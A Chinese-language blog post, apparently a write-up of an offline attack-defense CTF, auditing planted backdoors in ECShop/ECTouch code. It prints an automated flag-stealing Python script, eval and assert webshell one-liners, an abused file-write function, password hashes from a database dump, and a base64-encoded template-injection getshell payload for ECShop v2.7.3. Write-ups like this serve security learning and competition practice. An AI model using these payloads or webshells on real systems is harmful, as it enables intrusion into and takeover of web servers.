Sky's blog

线下AD&代码审计&ECShop V2.7.3

Word count: 1,818 / Reading time: 9 min
2018/04/27 Share

前言

最近刚参加完一个线下赛,模式是AD攻防,由于时间紧迫,只有3个小时,官方给出了大部分poc和问题文件位置。
规则很简单,让对方的极其请求http://10.0.1.2,并带上自己的token,即可获取flag
这里罗列一下官方线索
poc1:

1
2
3
post方式
文件url:http://10.50.%s.2/mobile/index.php
参数:url=http://10.0.1.2?token=RCNWBJXQ

poc2:

1
2
3
post方式
文件url:http://10.50.33.2/mobile/index.php?m=default&c=auction
参数:1=phpinfo()

提示线索1

1
mobile/themes/default/auction_list.dwt

提示线索2

1
mobile/api/uc.php

任意文件读取(poc 1)

根据给出的poc1,我们快速去定位问题文件位置
我们从mobile入口文件入手
即:

1
mobile/index.php

查看内容

1
2
3
4
5
6
7
8
9
10
11
<?php
/* 访问控制 */
define('IN_ECTOUCH', true);
/* 设置系统编码格式 */
header("Content-Type:text/html;charset=utf-8");
/* 设置系统编码格式 */
header("Pragma: no-cache");
/* 修复后退没有提交数据的问题 */
header("Cache-control: private");
/* 加载核心文件 */
require ('include/EcTouch.php');

跟踪文件

1
require ('include/EcTouch.php');

看到内容

1
2
3
4
5
6
7
8
if (version_compare(PHP_VERSION, '5.2.0', '<')) die('require PHP > 5.2.0 !');
defined('BASE_PATH') or define('BASE_PATH', dirname(__FILE__) . '/');
defined('ROOT_PATH') or define('ROOT_PATH', realpath(dirname(__FILE__) . '/../') . '/');
defined('APP_PATH') or define('APP_PATH', BASE_PATH . 'apps/');
defined('ADDONS_PATH') or define('ADDONS_PATH', ROOT_PATH . 'plugins/');
defined('DEFAULT_APP') or define('DEFAULT_APP', 'default');
defined('DEFAULT_CONTROLLER') or define('DEFAULT_CONTROLLER', 'Index');
defined('DEFAULT_ACTION') or define('DEFAULT_ACTION', 'index');

跟踪apps/目录
可以发现3个文件夹

1
2
3
admin
default
install

我们首先查看默认文件的文件夹

1
default

此时又得到5个文件夹

1
2
3
4
5
common
conf
controller
language
model

从第一个common文件夹开始
可以看到insert.php中的一个函数

1
2
function insert_ads($arr) {
}

看到关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
switch ($row['media_type']) {
case 0: // 图片广告
......
break;
case 2: // CODE
$ads[] = $row['ad_code'];
break;
case 3: // TEXT
$ads[] = "<a href='" . url('default/affiche/index', array('ad_id' => $row['ad_id'], 'uri' => urlencode($row["ad_link"]))) . "'
target='_blank'>" . htmlspecialchars($row['ad_code']) . '</a>';
break;
case 4: // url
$ads[] = file_get_contents($_POST['url']);
}

其中

1
2
case 4: // url
$ads[] = file_get_contents($_POST['url']);

明显是一个任意文件读取
随机我写出了一个快速利用的脚本,同时也是大部分依靠这个脚本,在剩余的时间里迅速拿分,奠定了第一的基础

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import re
import time
data = {
"url":"http://10.0.1.2?token=RCNWBJXQ"
}
url = "http://10.50.%s.2/mobile/index.php"
while True:
for x in range(0,37):
urll = url%x
try:
r = requests.post(url=urll,data=data,timeout=3)
flag = re.findall('<li>.*?</li>',r.content)[0][4:-5]
flagurl = "https://192.168.37.180/match/WAR20/oapi?atn=answers&token=RCNWBJXQ&flag=%s"%flag
r = requests.get(url=flagurl,verify=False)
if "wrong answer." not in r.content:
print flag
print r.content
except:
pass
print "attack ip times: "+str(x)
time.sleep(60)

一句话木马文件(poc 2)

当时官方给出提示:auction_list.dwt文件
在目录

1
mobile/themes/default/auction_list.dwt

可以发现问题

1
<div class="con">{:assert($_POST[1])}

由于此文件用于渲染,直接将小马删除即可

任意写文件

定位到mobile/api/uc.php
在action数组中发现了一些奇怪的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (in_array($get['action'], array(
'test',
'deleteuser',
'renameuser',
'gettag',
'synlogin',
'synlogout',
'updatepw',
'updatebadwords',
'updatehosts',
'updateapps',
'updateclient',
'updatecredit',
'getcreditsettings',
'updatecreditsettings',
'writesth'
)))

最后一个writesth十分瞩目,一看就应该是主办方留下的功能,我们全局搜索这个writesth函数
不难发现以下关键代码

1
2
3
4
5
6
7
8
9
function writesth($get, $post){
$cachefile = $this->appdir .$get['name'];
$fp = fopen($cachefile, 'w');
$s = "<?php\r\n";
$s .= $get['content'];
fwrite($fp, $s);
fclose($fp);
return API_RETURN_SUCCEED;
}

即:
文件名可控
文件内容可控
即可写入Webshell
我们测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
function writesth($name, $content){
$cachefile = './'.$name;
$fp = fopen($cachefile, 'w');
$s = "<?php\r\n";
$s .= $content;
fwrite($fp, $s);
fclose($fp);
}

$name='sky.php';
$content = '@eval($_POST[sky]);';
writesth($name,$content);
?>

运行即可发现我们当前目录下写入sky.php,内容为

1
2
<?php
@eval($_POST[sky]);

但是由于当时的环境里,只有data目录有可写全写,而我们默认路径为

1
$cachefile = $this->appdir .$get['name'];

所以直接写可能无效,应该选择上跳,例如

1
../data/sky.php

即可写成,但是这些方法有些鸡肋,因为当时大部分机器都将data目录更改为不可写了= =

一些其他的线索

当时拿到题目,我们首先发现是有后台管理员界面的
所以我们第一反应是去拿数据库读取管理员密码
我们很容易定位到sql语句

1
2
3
4
5
LOCK TABLES `ecs_admin_user` WRITE;
/*!40000 ALTER TABLE `ecs_admin_user` DISABLE KEYS */;
INSERT INTO `ecs_admin_user` VALUES (1,'admin','admin@admin.com','ce87383d32dc96aae134975176fd0bf4','6083',1523498965,1523499019,'192.168.28.155','all','商品列表|goods.php?act=list,订单列表|order.php?act=list,用户评论|comment_manage.php?act=list,会员列表|users.php?act=list,商店设置|shop_config.php?act=list_edit','',0,0,NULL,NULL),(2,'bjgonghuo1','bj@163.com','d0c015b6eb9a280f318a4c0510581e7e',NULL,1245044099,0,'','','商品列表|goods.php?act=list,订单列表|order.php?act=list,用户评论|comment_manage.php?act=list,会员列表|users.php?act=list,商店设置|shop_config.php?act=list_edit','',0,1,'',NULL),(3,'shhaigonghuo1','shanghai@163.com','4146fecce77907d264f6bd873f4ea27b',NULL,1245044202,0,'','','商品列表|goods.php?act=list,订单列表|order.php?act=list,用户评论|comment_manage.php?act=list,会员列表|users.php?act=list,商店设置|shop_config.php?act=list_edit','',0,2,'',NULL);
/*!40000 ALTER TABLE `ecs_admin_user` ENABLE KEYS */;
UNLOCK TABLES;

可以看到关键数据

1
(1,'admin','admin@admin.com','ce87383d32dc96aae134975176fd0bf4','6083',1523498965,1523499019,'192.168.28.155','all','商品列表|goods.php?act=list,订单列表|order.php?act=list,用户评论|comment_manage.php?act=list,会员列表|users.php?act=list,商店设置|shop_config.php?act=list_edit','',0,0,NULL,NULL)

我们查看一下表结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
CREATE TABLE `ecs_admin_user` (
`user_id` smallint(5) unsigned NOT NULL AUTO_INCREMENT,
`user_name` varchar(60) NOT NULL DEFAULT '',
`email` varchar(60) NOT NULL DEFAULT '',
`password` varchar(32) NOT NULL DEFAULT '',
`ec_salt` varchar(10) DEFAULT NULL,
`add_time` int(11) NOT NULL DEFAULT '0',
`last_login` int(11) NOT NULL DEFAULT '0',
`last_ip` varchar(15) NOT NULL DEFAULT '',
`action_list` text NOT NULL,
`nav_list` text NOT NULL,
`lang_type` varchar(50) NOT NULL DEFAULT '',
`agency_id` smallint(5) unsigned NOT NULL,
`suppliers_id` smallint(5) unsigned DEFAULT '0',
`todolist` longtext,
`role_id` smallint(5) DEFAULT NULL,
PRIMARY KEY (`user_id`),
KEY `user_name` (`user_name`),
KEY `agency_id` (`agency_id`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;

不难看出应该密码加密方式为

1
md5(salt.password)

如果能使用cmd5应该是可以解密的,但是由于内网环境,我们不得不进行弱密码fuzz
但是很幸运,我们拿到了弱密码:admin888
登入后台后,我们发现几乎所有模板都没有可写权限(可能是主办方设置吧)
结束后我搜索了一下ECShop v2.7.3版本的漏洞,没想到真的是后台可以Getshell
参考链接

1
https://www.uedbox.com/ecshop-v2-7-3-shell/

直接修改模板信息为

1
${${fputs(fopen(base64_decode(c2t5LnBocA==),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1Rbc2t5XSk/Pg==))}}

即可获得shell
sky.php

1
<?php eval($_POST[sky])?>

详细漏洞分析文章

1
https://www.cnblogs.com/newgold/archive/2016/04/13/5386600.html

后记

由于比赛时间短,留下的后门难度并不是很大,如果比赛时间是一天的话,可能打起来会比较精彩,可惜由于时间因素,官方给出线索和poc,不过话说回来,后门虽然简单,但是留的还行,webshell查杀工具竟然都没找出来XD

CATALOG
  1. 1. 前言
  2. 2. 任意文件读取(poc 1)
  3. 3. 一句话木马文件(poc 2)
  4. 4. 任意写文件
  5. 5. 一些其他的线索
  6. 6. 后记